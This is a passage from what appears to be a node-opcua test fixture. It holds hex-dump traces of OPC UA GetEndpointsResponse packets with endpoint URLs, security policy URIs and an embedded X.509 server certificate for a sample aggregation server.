000000a0: 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 02 1b 00 aaaa.com:UA:AggregationServer...
000000c0: 00 00 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 02 00 00 ..AAAAA.UA.Aggregation.Server...
000000e0: 00 ff ff ff ff ff ff ff ff 02 00 00 00 36 00 00 00 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 3a .............6...http://tattata:
00000100: 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 2f 64 69 62541/AAAAA/AggregationServer/di
00000120: 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 scovery/...opc.tcp://tattata:625
00000140: 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 24 03 00 00 30 82 42/AAAAA/AggregationServer$...0.
00000160: 03 20 30 82 02 89 a0 03 02 01 02 02 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0d 06 ..0............L~c4{G.S.y~"Md0..
00000180: 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 .*.H.w......0?1.0.....&..r,d....
000001a0: 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 tattata1$0"..U....AAAAA.UA.Aggre
000001c0: 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 20 17 0d 31 34 30 31 33 30 31 34 34 37 32 32 5a 18 0f gation.Server0...140130144722Z..
000001e0: 32 30 36 33 30 35 31 33 31 34 34 37 32 32 5a 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 20630513144722Z0?1.0.....&..r,d.
00000200: 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 ...tattata1$0"..U....AAAAA.UA.Ag
00000220: 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 81 9f 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 gregation.Server0..0...*.H.w....
00000240: 05 00 03 81 8d 00 30 81 89 02 81 81 00 b7 db 2a ae 23 91 a4 6b d3 5a 7b bb 06 63 e7 c1 bc 4a 62 ......0......7[*.#.$kSZ{;.cgA.Jb
00000260: 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 55 19 b4 20 85 03 08 98 8e b3 29 0b fc 43 5f 62 a6 1e e7 z^]T=1?Ue%9<.U.4......3).|C_b&.g
00000280: f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 b2 6a 0b 9c 40 14 fc v}LIPt&GRf.j.&.Tg.b=.T7)!2j..@.|
000002a0: f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f 27 ae 10 6a 64 80 8b 2b ff fe 3b fa bd 06 c5 64 8d 33 ca xQ*..v>.=.'aO'..jd..+.~;z=.Ed.3J
000002c0: 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 02 03 01 00 01 a3 82 01 19 30 82 01 15 30 1d 06 03 55 1d .5hqpO.9N&.91.....#...0...0...U.
000002e0: 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 30 76 06 03 55 1d 23 .....%.{..Fa0#]B.D.ST,x.P0v..U.#
00000300: 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 a1 43 a4 41 30 3f .o0m..%.{..Fa0#]B.D.ST,x.P!C$A0?
00000320: 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 1.0.....&..r,d....tattata1$0"..U
00000340: 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 82 ....AAAAA.UA.Aggregation.Server.
00000360: 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 ...L~c4{G.S.y~"Md0...U.......0.0
00000380: 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 30 14 06 08 2b ...U..........t0...U.%.....0...+
000003a0: 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 3c 06 03 55 1d 11 04 35 30 33 86 28 75 72 .........+.......0<..U...503.(ur
000003c0: 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e n:localhost:UA:AAAAA:Aggregation
000003e0: 53 65 72 76 65 72 82 07 74 61 74 74 61 74 61 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 Server..tattata0...*.H.w........
00000400: 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc db 40 e8 fe 7b 0c 79 ..3,qN.d.g.|{&WqL.7.xEKr<[@h~{.y
00000420: e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 fd fe b4 1e 78 5d 04 b.9vT@...@P.H..}}E..0ZJr2}~4.x].
00000440: 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 86 27 fc a3 d5 b3 4b ..n41H|y\\..~.k.;j9..NQ8.F.'|#U3K
00000460: 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b bc 08 4b 7a f4 40 99 65 f8 cd ea d2 fa 78 b1 ee 81 d0 99 4..w2fX@9y_;[<.Kzt@.exMjRzx1n.P.
00000480: 60 7b 03 00 00 00 38 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f .{....8...http://opcfoundation.o
000004a0: 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 69 63 31 32 38 52 73 61 rg/UA/SecurityPolicy#Basic128Rsa
000004c0: 31 35 03 00 00 00 01 00 00 00 30 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 00 00 31 15........0....................1
000004e0: 01 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 00 00 32 02 00 00 00 ff ff ff ff ff ff ff ....................2...........
00000500: ff ff ff ff ff 41 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 .....A...http://opcfoundation.or
00000520: 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 61 6e 73 70 6f 72 74 2f 75 61 74 63 70 2d 75 61 73 g/UA-Profile/Transport/uatcp-uas
00000540: 63 2d 75 61 62 69 6e 61 72 79 03 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 c-uabinary./...opc.tcp://tattata
00000560: 3a 36 32 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 28 00 :62542/AAAAA/AggregationServer(.
00000580: 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 ..urn:localhost:UA:AAAAA:Aggrega
000005a0: 74 69 6f 6e 53 65 72 76 65 72 22 00 00 00 75 72 69 3a 61 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 tionServer"...uri:aaaaa.com:UA:A
000005c0: 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 02 1b 00 00 00 41 41 41 41 41 20 55 41 20 41 67 ggregationServer.....AAAAA.UA.Ag
000005e0: 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 02 00 00 00 ff ff ff ff ff ff ff ff 02 00 00 00 gregation.Server................
00000600: 36 00 00 00 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 6...http://tattata:62541/AAAAA/A
00000620: 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 2f 64 69 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 ggregationServer/discovery/...op
00000640: 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 c.tcp://tattata:62542/AAAAA/Aggr
00000660: 65 67 61 74 69 6f 6e 53 65 72 76 65 72 24 03 00 00 30 82 03 20 30 82 02 89 a0 03 02 01 02 02 10 egationServer$...0...0..........
00000680: 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 ..L~c4{G.S.y~"Md0...*.H.w......0
000006a0: 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 ?1.0.....&..r,d....tattata1$0"..
000006c0: 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 U....AAAAA.UA.Aggregation.Server
000006e0: 30 20 17 0d 31 34 30 31 33 30 31 34 34 37 32 32 5a 18 0f 32 30 36 33 30 35 31 33 31 34 34 37 32 0...140130144722Z..2063051314472
00000700: 32 5a 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 2Z0?1.0.....&..r,d....tattata1$0
00000720: 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 "..U....AAAAA.UA.Aggregation.Ser
00000740: 76 65 72 30 81 9f 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 ver0..0...*.H.w..........0......
00000760: b7 db 2a ae 23 91 a4 6b d3 5a 7b bb 06 63 e7 c1 bc 4a 62 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 7[*.#.$kSZ{;.cgA.Jbz^]T=1?Ue%9<.
00000780: 55 19 b4 20 85 03 08 98 8e b3 29 0b fc 43 5f 62 a6 1e e7 f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 U.4......3).|C_b&.gv}LIPt&GRf.j.
000007a0: 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 b2 6a 0b 9c 40 14 fc f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f &.Tg.b=.T7)!2j..@.|xQ*..v>.=.'aO
000007c0: 27 ae 10 6a 64 80 8b 2b ff fe 3b fa bd 06 c5 64 8d 33 ca 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 '..jd..+.~;z=.Ed.3J.5hqpO.9N&.91
000007e0: 02 03 01 00 01 a3 82 01 19 30 82 01 15 30 1d 06 03 55 1d 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 .....#...0...0...U......%.{..Fa0
00000800: 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 30 76 06 03 55 1d 23 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 #]B.D.ST,x.P0v..U.#.o0m..%.{..Fa
00000820: b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 a1 43 a4 41 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 0#]B.D.ST,x.P!C$A0?1.0.....&..r,
00000840: 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 d....tattata1$0"..U....AAAAA.UA.
00000860: 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 82 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 Aggregation.Server....L~c4{G.S.y
00000880: fe a2 cd 64 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 ~"Md0...U.......0.0...U.........
000008a0: 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 .t0...U.%.....0...+.........+...
000008c0: 05 07 03 02 30 3c 06 03 55 1d 11 04 35 30 33 86 28 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 ....0<..U...503.(urn:localhost:U
000008e0: 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 82 07 67 61 74 74 61 A:AAAAA:AggregationServer..gatta
00000900: 63 61 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b ca0...*.H.w..........3,qN.d.g.|{
00000920: 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc db 40 e8 fe 7b 0c 79 e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 &WqL.7.xEKr<[@h~{.yb.9vT@...@P.H
00000940: 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 fd fe b4 1e 78 5d 04 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 ..}}E..0ZJr2}~4.x]...n41H|y\\..~.
00000960: eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 86 27 fc a3 d5 b3 4b 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b k.;j9..NQ8.F.'|#U3K4..w2fX@9y_;[
00000980: bc 08 4b 7a f4 40 99 65 f8 cd ea d2 fa 78 b1 ee 81 d0 99 60 7b 02 00 00 00 33 00 00 00 68 74 74 <.Kzt@.exMjRzx1n.P;;{....3...htt
000009a0: 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 p://opcfoundation.org/UA/Securit
000009c0: 79 50 6f 6c 69 63 79 23 42 61 73 69 63 32 35 36 03 00 00 00 01 00 00 00 30 00 00 00 00 ff ff ff yPolicy#Basic256........0.......
000009e0: ff ff ff ff ff ff ff ff ff 01 00 00 00 31 01 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 .............1..................
00000a00: 00 00 32 02 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 41 00 00 00 68 74 74 70 3a 2f 2f 6f 70 ..2................A...http://op
00000a20: 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 61 6e 73 cfoundation.org/UA-Profile/Trans
00000a40: 70 6f 72 74 2f 75 61 74 63 70 2d 75 61 73 63 2d 75 61 62 69 6e 61 72 79 02 2f 00 00 00 6f 70 63 port/uatcp-uasc-uabinary./...opc
00000a60: 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 .tcp://tattata:62542/AAAAA/Aggre
00000a80: 67 61 74 69 6f 6e 53 65 72 76 65 72 28 00 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 gationServer(...urn:localhost:UA
00000aa0: 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 22 00 00 00 75 72 69 3a :AAAAA:AggregationServer"...uri:
00000ac0: 61 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 02 1b aaaaa.com:UA:AggregationServer..
00000ae0: 00 00 00 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 02 00 ...AAAAA.UA.Aggregation.Server..
00000b00: 00 00 ff ff ff ff ff ff ff ff 02 00 00 00 36 00 00 00 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 ..............6...http://tattata
00000b20: 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 2f 64 :62541/AAAAA/AggregationServer/d
00000b40: 69 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 iscovery/...opc.tcp://tattata:62
00000b60: 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 24 03 00 00 30 542/AAAAA/AggregationServer$...0
00000b80: 82 03 20 30 82 02 89 a0 03 02 01 02 02 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0d ...0............L~c4{G.S.y~"Md0.
00000ba0: 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 ..*.H.w......0?1.0.....&..r,d...
00000bc0: 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 .tattata1$0"..U....AAAAA.UA.Aggr
00000be0: 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 20 17 0d 31 34 30 31 33 30 31 34 34 37 32 32 5a 18 egation.Server0...140130144722Z.
00000c00: 0f 32 30 36 33 30 35 31 33 31 34 34 37 32 32 5a 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 .20630513144722Z0?1.0.....&..r,d
00000c20: 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 ....tattata1$0"..U....AAAAA.UA.A
00000c40: 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 81 9f 30 0d 06 09 2a 86 48 86 f7 0d 01 01 ggregation.Server0..0...*.H.w...
00000c60: 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 b7 db 2a ae 23 91 a4 6b d3 5a 7b bb 06 63 e7 c1 bc 4a .......0......7[*.#.$kSZ{;.cgA<J
00000c80: 62 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 55 19 b4 20 85 03 08 98 8e b3 29 0b fc 43 5f 62 a6 1e bz^]T=1?Ue%9<.U.4......3).|C_b&.
00000ca0: e7 f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 b2 6a 0b 9c 40 14 gv}LIPt&GRf.j.&.Tg.b=.T7)!2j..@.
00000cc0: fc f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f 27 ae 10 6a 64 80 8b 2b ff fe 3b fa bd 06 c5 64 8d 33 |xQ*..v>.=.'aO'..jd..+.~;z=.Ed.3
00000ce0: ca 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 02 03 01 00 01 a3 82 01 19 30 82 01 15 30 1d 06 03 55 J.5hqpO.9N&.91.....#...0...0...U
00000d00: 1d 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 30 76 06 03 55 1d ......%.{..Fa0#]B.D.ST,x.P0v..U.
00000d20: 23 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 a1 43 a4 41 30 #.o0m..%.{..Fa0#]B.D.ST,x.P!C$A0
00000d40: 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 ?1.0.....&..r,d....tattata1$0"..
00000d60: 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 U....AAAAA.UA.Aggregation.Server
00000d80: 82 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 ....L~c4{G.S.y~"Md0...U.......0.
00000da0: 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 30 14 06 08 0...U..........t0...U.%.....0...
00000dc0: 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 3c 06 03 55 1d 11 04 35 30 33 86 28 75 +.........+.......0<..U...503.(u
00000de0: 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f rn:localhost:UA:AAAAA:Aggregatio
00000e00: 6e 53 65 72 76 65 72 82 07 74 61 74 74 61 74 61 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 nServer..tattata0...*.H.w.......
00000e20: 81 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc db 40 e8 fe 7b 0c ...3,qN.d.g.|{&WqL.7.xEKr<[@h~{.
00000e40: 79 e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 fd fe b4 1e 78 5d yb.9vT@...@P.H..}}E..0ZJr2}~4.x]
00000e60: 04 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 86 27 fc a3 d5 b3 ...n41H|y\\..~.k.;j9..NQ8.F.'|#U3
00000e80: 4b 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b bc 08 4b 7a f4 40 99 65 f8 cd ea d2 fa 78 b1 ee 81 d0 K4..w2fX@9y_;[<.Kzt@.exMjRzx1n.P
00000ea0: 99 60 7b 01 00 00 00 2f 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e ..{..../...http://opcfoundation.
00000ec0: 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 03 00 00 00 01 00 org/UA/SecurityPolicy#None......
00000ee0: 00 00 30 00 00 00 00 ff ff ff ff ff ff ff ff 33 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 ..0............3...http://opcfou
00000f00: 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 ndation.org/UA/SecurityPolicy#Ba
00000f20: 73 69 63 32 35 36 01 00 00 00 31 01 00 00 00 ff ff ff ff ff ff ff ff 33 00 00 00 68 74 74 70 3a sic256....1............3...http:
00000f40: 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 //opcfoundation.org/UA/SecurityP
00000f60: 6f 6c 69 63 79 23 42 61 73 69 63 32 35 36 01 00 00 00 32 02 00 00 00 ff ff ff ff ff ff ff ff 33 olicy#Basic256....2............3
00000f80: 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 ...http://opcfoundation.org/UA/S
00000fa0: 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 69 63 32 35 36 41 00 00 00 68 74 74 70 3a 2f ecurityPolicy#Basic256A...http:/
00000fc0: 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 /opcfoundation.org/UA-Profile/Tr
00000fe0: 61 6e 73 70 6f 72 74 2f 75 61 74 63 70 2d 75 61 73 63 2d 75 61 62 69 6e 61 72 79 00 2c 00 00 00 ansport/uatcp-uasc-uabinary.,...
00001000: 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 http://tattata:62541/AAAAA/Aggre
00001020: 67 61 74 69 6f 6e 53 65 72 76 65 72 28 00 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 gationServer(...urn:localhost:UA
00001040: 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 22 00 00 00 75 72 69 3a :AAAAA:AggregationServer"...uri:
00001060: 61 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 02 1b aaaaa.com:UA:AggregationServer..
00001080: 00 00 00 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 02 00 ...AAAAA.UA.Aggregation.Server..
000010a0: 00 00 ff ff ff ff ff ff ff ff 02 00 00 00 36 00 00 00 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 ..............6...http://tattata
000010c0: 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 2f 64 :62541/AAAAA/AggregationServer/d
000010e0: 69 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 iscovery/...opc.tcp://tattata:62
00001100: 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 24 542/AAAAA/AggregationServer$
`);
// server -> client : packet length 3780 => GetEndpointsResponse 2/2
exports.getEndpointsRequest2_chunk2 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 03 00 00 30 82 03 20 30 82 02 89 a0 03 02 01 02 02 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 ...0...0............L~c4{G.S.y~"
00000020: cd 64 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c Md0...*.H.w......0?1.0.....&..r,
00000040: 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 d....tattata1$0"..U....AAAAA.UA.
00000060: 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 20 17 0d 31 34 30 31 33 30 31 34 34 37 Aggregation.Server0...1401301447
00000080: 32 32 5a 18 0f 32 30 36 33 30 35 31 33 31 34 34 37 32 32 5a 30 3f 31 17 30 15 06 0a 09 92 26 89 22Z..20630513144722Z0?1.0.....&.
000000a0: 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 .r,d....tattata1$0"..U....AAAAA.
000000c0: 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 81 9f 30 0d 06 09 2a 86 48 86 UA.Aggregation.Server0..0...*.H.
000000e0: f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 b7 db 2a ae 23 91 a4 6b d3 5a 7b bb 06 63 w..........0......7[*.#.$kSZ{;.c
00000100: e7 c1 bc 4a 62 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 55 19 b4 20 85 03 08 98 8e b3 29 0b fc 43 gA.Jbz^]T=1?Ue%9<.U.4......3).|C
00000120: 5f 62 a6 1e e7 f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 b2 6a _b&.gv}LIPt&GRf.j.&.Tg.b=.T7)!2j
00000140: 0b 9c 40 14 fc f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f 27 ae 10 6a 64 80 8b 2b ff fe 3b fa bd 06 ..@.|xQ*..v>.=.'aO'..jd..+.~;z=.
00000160: c5 64 8d 33 ca 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 02 03 01 00 01 a3 82 01 19 30 82 01 15 30 Ed.3J.5hqpO.9N&.91.....#...0...0
00000180: 1d 06 03 55 1d 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 30 76 ...U......%.{..Fa0#]B.D.ST,x.P0v
000001a0: 06 03 55 1d 23 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 a1 ..U.#.o0m..%.{..Fa0#]B.D.ST,x.P!
000001c0: 43 a4 41 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 C$A0?1.0.....&..r,d....tattata1$
000001e0: 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 0"..U....AAAAA.UA.Aggregation.Se
00000200: 72 76 65 72 82 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0c 06 03 55 1d 13 01 01 ff rver....L~c4{G.S.y~"Md0...U.....
00000220: 04 02 30 00 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 ..0.0...U..........t0...U.%.....
00000240: 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 3c 06 03 55 1d 11 04 35 30 0...+.........+.......0<..U...50
